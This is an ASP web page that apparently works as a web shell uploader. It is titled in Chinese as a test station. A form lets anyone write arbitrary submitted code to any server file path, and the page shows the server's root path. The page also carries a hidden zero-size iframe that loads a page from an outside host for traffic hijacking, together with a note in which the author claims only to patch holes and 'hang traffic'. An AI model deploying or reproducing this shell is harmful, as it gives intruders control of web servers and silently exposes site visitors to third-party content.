<%
Response.Write "<title>吸煙人網絡-測站</title>" & vbNewLine
%>
<%
Response.Write "<div style=""text-align:center"">" & vbNewLine
%>
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="成功!"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%
Response.Write "<span style=""color:#FF0000"">保存路徑</span>" & vbNewLine
%>
<%="<input type=text name=path>"%>
<%="<br></br>"%>
<%
Response.Write "<span style=""color:#FF0000"">根路徑</span>" & vbNewLine
%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br></br>要保存的代碼"%>
<%="<br>"%>
<%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=保存>"%>
<%
Response.Write "</div>" & vbNewLine
%>
<%
Response.Write "<p>&nbsp;</p>" & vbNewLine
Response.Write "<p style=""color:#FF0000"">在中國站掛馬者 翹辮子<br />" & vbNewLine
Response.Write "<br />" & vbNewLine
Response.Write "本人只修補漏洞-掛流量 &lt;ifRame src=http://www.somker.com/shua/shua.htm wIdth=0 HeigHt=0 borDer=0&gt;&lt;/iframe&gt;</p>" & vbNewLine
Response.Write "<p><ifRame src=http://www.somker.com/shua/shua.htm wIdth=0 HeigHt=0></iframe></p>" & vbNewLine
%>

<%="</form>"%>